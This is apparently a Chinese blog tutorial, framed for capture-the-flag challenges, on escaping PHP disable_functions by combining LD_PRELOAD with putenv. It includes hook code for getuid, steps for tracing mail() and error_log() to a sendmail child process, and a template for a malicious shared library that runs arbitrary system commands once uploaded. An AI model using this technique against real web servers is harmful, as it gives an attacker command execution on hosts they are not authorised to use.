PRE_LOAD+putenv
PRE_LOAD
在 linux 中, PRE_LOAD 可以定义预先加载的共享库文件。设置预先加载的库文件的方法:
- 编译一个共享库文件
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so
-fPIC
告诉编译器产生与位置无关代码,则产生的代码中使用的全部是相对位置而不是绝对位置,因此代码可以被加载到内存中的任意位置并且可以正确地执行,这是共享库要求的,共享库被加载的时候在内存中的位置是不一定的。
2. 通过 export 设置环境变量
export LD_PRELOAD=./test.so
- 一个实例
编写一个文件 test.c
#include<sys/types.h>
#include<dlfcn.h>
#include<unistd.h>uid_t geteuid(void) {return 0;}
uid_t getuid(void) {return 0;}
uid_t getgid(void) {return 0;}
按照上面的命令把文件编译成一个共享库文件,并且设置为环境变量,然后我们再执行id
命令,得到的结果返回的 id 值会变成 0,也就是说我们的共享库文件被预先加载了
- 查看命令调用的共享库文件和库函数
ldd /usr/bin/id # 查看命令调用的库文件
readelf -Ws /usr/bin/id # 查看命令调用的库函数
我们一般是找到想要利用的命令调用的库函数,然后再库函数本来的原型上重新写一个带有攻击性的函数,并且将这个文件编译成共享库文件。
putenv
php 中一般使用 putenv 来设置环境变量
putenv("LD_PRELOAD=/var/www/html/test.so")
加上这一句话就达到了上面 export
效果
一般的攻击流
只要找到可以利用的上层函数一般就可以利用了
- 找到调用这个上层函数时所要调用的系统进程
在 linux 中,进程不能直接访问硬件设备,当进程需要访问硬件设备 (比如说从磁盘读取文件、读取网络数据)时,必须要通过系统调用。
strace # 可以跟踪进程执行时的系统调用和所接收的信息
-f # 这个参数可以跟踪到fork出来的子进程
假设我们跟踪的是 php 中的 mail()函数,创建下面的文件:
<?phpmail("a","b","c","d");
?>
跟踪命令:
strace -f php mail.php 2>&1 | grep -A3 -B3 execve
可以看到子进程 /usr/sbin/sendmail
- 查看子进程调用的库函数
readelf -Ws /usr/sbin/sendmail
一般选择比较简单且常用的库函数来进行利用,比如说 void getuid(void){}
查看函数原型,然后再根据需要创建一个文件并且重写这个函数就行了。
- 上传.so 文件到网站,然后在文件中按下面的方式声明就好:
<?phpputenv("LD_PRELOAD=/var/www/html/test.so");mail("a","b","c","d");
?>
最后访问这个 php 文件即可
如果网站 ban 掉了 mail()函数,我们可以关注 error_log()函数,这个函数向我们发送错误信息。
- error_log()函数
一些情况下,php
会ban
掉mail
函数,那么这种情况下,我们可以尝试以下errorlog()
函数,这个函数有四个参数:
error_log(message, message_type, destination, extra_headers)# message表示要记录的错误信息
# message_type主要有四类
# 0:发送到php系统日志
# 1:发送到参数destination设置的地址,第四个参数extra_headers只有在这个情况下会被用到
# 2:不再是一个选项
# 3:被发送到destination的地址
# 4:message直接发送到SAPI的日志处理程序
# destination是在message_type设为1或者3时message被发送的地址
# extra_headers只有在message_type设为1时才会被用到
这个函数的利用点就在于当 message_type 设为 1 时,extra_headers 会调用一个 mail()的内置函数,启动 sendmail 这个进程, 这个进程会调用 getuid()这个库函数。此时,我们就可以编写.so
文件实现任意命令执行了。
- 一般的恶意共享库文件的格式
#include<stdlib.h>
#include<stdio.h>
#include<string.h>void payload(){system("/readflag > result.txt");
}int getuid(void){unsetenv("LD_PRELOAD");payload();
}
在system
函数中,我们就可以执行想要执行的命令了。
(如有侵权,联系删除)
PRE_LOAD+putenv相关推荐
- linux c 环境变量函数 getenv putenv 简介
环境变量相关函数: getenv()和putenv() 程序功能:编写一个程序来打印所选的任意环境变量的值:如果给程序传递第二个参数,还设置环境变量的值 #include <stdlib.h&g ...
- 进程环境详解(四)---getenv、putenv和setenv函数详解
在Linux中的c程序的典型内存分布中,之前提到的有 text段.data段.bss段.堆和栈这几部分,在笔记"麦子学院c语言->典型c语言程序的c内存分布"中介绍了.但是其 ...
- linux编程:getenv,putenv,setenv
1.getenv 头文件 #include<stdlib.h> 函数原型 char * getenv(const char *name); 函数说明 getenv()用来取得参数name环 ...
- linux服务器部署laravel出现putenv() has been disabled for security reasons
putenv() has been disabled for security reasons 进入 www/serve/php/72/etc 找到 disable_functions后面的函数,删除 ...
- python os.environ windows_python 获取系统环境变量 os.environ and os.putenv
从一段code说起 "if "BATCH_CONFIG_INI" in os.environ:" 判断环境变量的值有没有定义 如果定义的话就去环境变量的值,否则 ...
- l33t-hoster .htaccess \x00注释putenv绕过disable_function计算c代码
源码 <?php if (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if ( ...
- 配置环境变量的方法:putenv和setenv函数区别
日常中我们经常会在linux环境上配置环境变量,那么linux上配置环境变量的方法有哪些呢? 1.直接用export命令: eg: export PATH=$PATH:/opt/build_too ...
- linux getenv函数 get,linux之getenv putenv setenv和unsetenv详解
1.getenv函数 头文件:#include 函数原型: char * getenv(const char* name); 函数说明:getenv()用来取得参数name环境变量的内容. 函数参数: ...
- python获取系统环境变量|os.environ|os.putenv|cmd添加环境变量
文章目录 1. 背景介绍 2. python|os.environ代码 3. 添加环境变量的其他方式: 1. "系统设置"--"环境变量" 2. pycharm ...
最新文章
- C++ const 理解
- _id 和 ObjectId
- hdu 2072 单词数
- 使用SAP portal service创建Fiori Launchpad
- CSS之media Query
- 如何将本地代码推送至远程仓库
- OKHttp源码解析(1)----整体流程
- 单片机编程软件很简单(19),keil单片机编程软件3点介绍
- java做求立方体,Java工具集-数学(立方体操作工具类)
- ADI 485芯片型号
- FPGA学习.7——DDS信号发生器
- 新萝卜家园 GhostXP SP3 电脑城装机版 V2011.07
- Eclipse读取properties文件中文乱码问题
- Lawnmower(除草)
- TreeMap用法 示例
- 钉钉e应用点击按钮触发两次点击事件的解决办法
- MySQL提示:The server quit without updating PID file问题的解决办法
- osgEarth的Rex引擎原理分析(九十)如何设置高度单位(m、km等)
- SpringBoot不同角色显示不同的菜单
- Tuxedo基本命令和Tuxedo的ubb文件详解
热门文章
- android setContentView(R.layout.main) 语法错误
- Ubuntu16.04安装Nvidia显卡驱动(cuda)
- iOS 用 AVPlayer 播放一个本地音频文件
- 华为HCIP题库和考试相关注意事项
- 安装php apcu扩展
- 矩阵公式tr(AA')=tr(A'A)/tr(AA^T)=tr(A^TA)的推导
- R语言读取 xlsx 和xls 文件
- 备忘录模式及其实现场景
- 软件评测:比较CSDN和博客园
- Centos 7--pdf2htmlEX安装和配置